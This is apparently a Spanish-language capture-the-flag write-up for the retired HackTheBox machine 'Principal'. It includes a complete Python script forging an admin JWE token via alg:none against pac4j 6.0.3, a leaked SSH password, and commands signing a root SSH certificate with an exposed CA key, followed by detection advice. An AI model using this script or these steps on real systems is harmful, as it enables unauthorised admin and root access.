Skip to content
cyberknight / 91
HackTheBox Medium Linux 3 May 2026 · ~5 min

Principal

Plataforma Java/Jetty protegida con JWE+JWT (pac4j 6.0.3). El endpoint JWKS es público, lo que permite forjar un token ROLE_ADMIN usando alg:none en el JWT interior. Desde admin se filtran credenciales SSH en texto plano. La escalada aprovecha que el grupo deployers tiene lectura sobre la clave privada de la CA SSH configurada como trusted.

View on HackTheBox

Resumen

Principal es una máquina Linux de dificultad media con una plataforma web Java/Jetty protegida por JWE+JWT usando pac4j 6.0.3. La vulnerabilidad central es que el endpoint /api/auth/jwks es accesible sin autenticación y pac4j 6.0.3 no valida el algoritmo del JWT interior: basta con especificar alg:none para forjar un token de administrador sin conocer la clave privada. Con acceso admin se obtienen credenciales SSH en texto plano. La escalada a root explota que el grupo deployers tiene acceso de lectura sobre la clave privada de la CA SSH, permitiendo emitir certificados para cualquier usuario del sistema.


Reconocimiento

Detección de SO por TTL

ping -c 1 10.129.48.155
# TTL=63 → Linux (64 original, 1 salto de red)

Nmap — Escaneo completo de puertos

nmap -p- --open -sS --min-rate 5000 -Pn -n -vvv 10.129.48.155 -oG allports.txt
# Puertos abiertos: 22/tcp, 8080/tcp

Nmap — Versiones y scripts

nmap -p 22,8080 -sVC 10.129.48.155 -oN targeted.txt
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu
8080/tcp open  http    Jetty
                       X-Powered-By: pac4j-jwt/6.0.3

El header X-Powered-By: pac4j-jwt/6.0.3 es la pista crítica. pac4j 6.0.3 tiene vulnerabilidades conocidas de bypass de firma JWT.


Enumeración Web

Análisis de app.js

http://10.129.48.155:8080 redirige a /login. El código fuente revela /static/js/app.js:

curl -s http://10.129.48.155:8080/static/js/app.js

El fichero expone la arquitectura de autenticación completa:

const JWKS_ENDPOINT    = '/api/auth/jwks'; // Clave pública RSA — SIN autenticación
const AUTH_ENDPOINT    = '/api/auth/login';
const USERS_ENDPOINT   = '/api/users';     // Solo ROLE_ADMIN
const SETTINGS_ENDPOINT = '/api/settings'; // Solo ROLE_ADMIN

// Token = JWE (RSA-OAEP-256 + A128GCM)
//         └── JWT interior firmado con RS256
// Claims: sub, role, iss("principal-platform"), iat, exp

Punto crítico: /api/auth/jwks descarga la clave pública RSA sin autenticación. Con ella se puede cifrar un JWE propio. Si conseguimos forjar el JWT interior (alg:none), el servidor lo aceptará.

Obtención de la clave pública JWKS

curl -s http://10.129.48.155:8080/api/auth/jwks
{
  "keys": [{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "enc-key-1",
    "n": "lTh54vtBS1NAWrxAFU1NEZdr..."
  }]
}

Explotación — Forja de Token JWE (pac4j alg:none)

¿Por qué funciona?

pac4j 6.0.3 no valida que el JWT interior use el algoritmo declarado en el header. Poniendo alg:none, el servidor acepta el token sin verificar la firma. Tenemos la clave pública → podemos cifrar el JWE. El servidor descifra y acepta el JWT falso en su interior.

forge_token.py

pip install jwcrypto requests
python3 forge_token.py
#!/usr/bin/env python3
import json, time, base64, requests
from jwcrypto import jwk, jwe

TARGET = "http://10.129.48.155:8080"

def b64url(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# 1. Obtener clave pública RSA (sin autenticación)
jwks = requests.get(f"{TARGET}/api/auth/jwks").json()
key_data = jwks["keys"][0]

# 2. Forjar JWT interior con alg:none y ROLE_ADMIN
now = int(time.time())
header  = {"alg": "none", "typ": "JWT"}
payload = {
    "sub":  "admin",
    "role": "ROLE_ADMIN",
    "iss":  "principal-platform",
    "iat":  now,
    "exp":  now + 3600
}
inner_jwt = (f"{b64url(json.dumps(header))}"
             f".{b64url(json.dumps(payload))}.") # firma vacía

# 3. Cifrar el JWT falso como JWE con la clave pública del servidor
pub_key   = jwk.JWK(**key_data)
protected = {"alg": "RSA-OAEP-256", "enc": "A128GCM", "kid": key_data["kid"]}
token_obj = jwe.JWE(inner_jwt.encode(), recipient=pub_key,
                    protected=json.dumps(protected))
token = token_obj.serialize(compact=True)

# 4. Usar el token forjado
headers = {"Authorization": f"Bearer {token}"}
for ep in ["/api/dashboard", "/api/users", "/api/settings"]:
    r = requests.get(f"{TARGET}{ep}", headers=headers)
    print(f"{ep}{r.status_code}")
    if r.ok: print(json.dumps(r.json(), indent=2))

Credenciales filtradas en /api/settings

{
  "security": {
    "encryptionKey": "D3pl0y_$$H_Now42!"
  },
  "infrastructure": {
    "sshCertAuth": "enabled",
    "sshCaPath": "/opt/principal/ssh/"
  }
}

/api/users revela además el usuario objetivo:

{
  "username": "svc-deploy",
  "role": "deployer",
  "note": "Service account for automated deployments via SSH cert auth."
}

Acceso Inicial — SSH como svc-deploy

ssh [email protected]
# Password: D3pl0y_$$H_Now42!
id
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)

El usuario pertenece al grupo deployers. Revisar siempre los permisos del grupo antes de cualquier otra acción.

cat ~/user.txt  # User flag

Escalada de Privilegios — SSH Certificate Authority

Enumeración del grupo deployers

ls -la /opt/principal/ssh/
-rw-r-----  root  deployers  README.txt
-rw-r-----  root  deployers  ca          ← Clave PRIVADA de la CA SSH
-rw-r--r--  root  root       ca.pub      ← Clave pública de la CA

El grupo deployers tiene lectura sobre ca (clave privada). Esta CA está declarada en /etc/ssh/sshd_config.d/60-principal.conf como TrustedUserCAKeys. Con la clave privada se pueden firmar certificados para cualquier usuario del sistema, incluido root.

Explotación — 5 pasos para root

1. Generar par de claves en el atacante:

ssh-keygen -t rsa -b 4096 -f /tmp/pwn_key -N ""

2. Subir la clave pública al servidor:

scp /tmp/pwn_key.pub [email protected]:/tmp/

3. En el servidor — firmar con la CA como principal “root”:

ssh-keygen -s /opt/principal/ssh/ca -I "root" -n root -V +1h /tmp/pwn_key.pub
# Genera: /tmp/pwn_key-cert.pub

4. Descargar el certificado firmado:

scp [email protected]:/tmp/pwn_key-cert.pub /tmp/

5. Conectar como root con el certificado:

ssh -i /tmp/pwn_key -i /tmp/pwn_key-cert.pub [email protected]
root@principal:~#
cat /root/root.txt  # Root flag

Kill Chain

#FaseTécnicaResultado
1Reconnmap -p- -sS + -sVC22/SSH + 8080/HTTP · pac4j-jwt/6.0.3
2Enum webcurl app.js + JWKSArquitectura JWE+JWT + clave pública RSA
3Exploitforge_token.py (alg:none)Token ROLE_ADMIN sin clave privada
4Cred leakGET /api/settingssvc-deploy : D3pl0y_$$H_Now42!
5FootholdSSH con passwordShell svc-deploy · grupo deployers
6PrivEscssh-keygen -s CACertificado root firmado por CA trusted
7Rootssh -i cert root@targetroot@principal · ROOT FLAG

Lecciones

TécnicaMITRE ATT&CK
JWT Algorithm Confusion (alg:none)T1550.001
Credential Exposure in API ResponseT1552.001
SSH Certificate Authority AbuseT1649
Group-based Privilege EscalationT1078.003

Detección: Alertar sobre cualquier JWT con "alg":"none" en los logs del WAF/proxy. Monitorizar accesos de lectura a ficheros de CA SSH fuera del proceso sshd (auditd, regla sobre /opt/*/ssh/ca). El endpoint JWKS nunca debería ser público si el backend no fuerza el algoritmo de firma.

htb-principal.md
hacker@cyberknight $ stat htb-principal.md
machine : Principal
os : Linux
difficulty: Medium
published: 3 May 2026
words : 1024
read : ~5 min
hacker@cyberknight $ tags --list
#JWT #JWE #pac4j #alg:none #SSH-CA #Java #Jetty #JWKS
hacker@cyberknight $ echo $STATUS
[OK] retired · safe to publish
hacker@cyberknight $
all write-ups
#JWT#JWE#pac4j#alg:none#SSH-CA#Java#Jetty#JWKS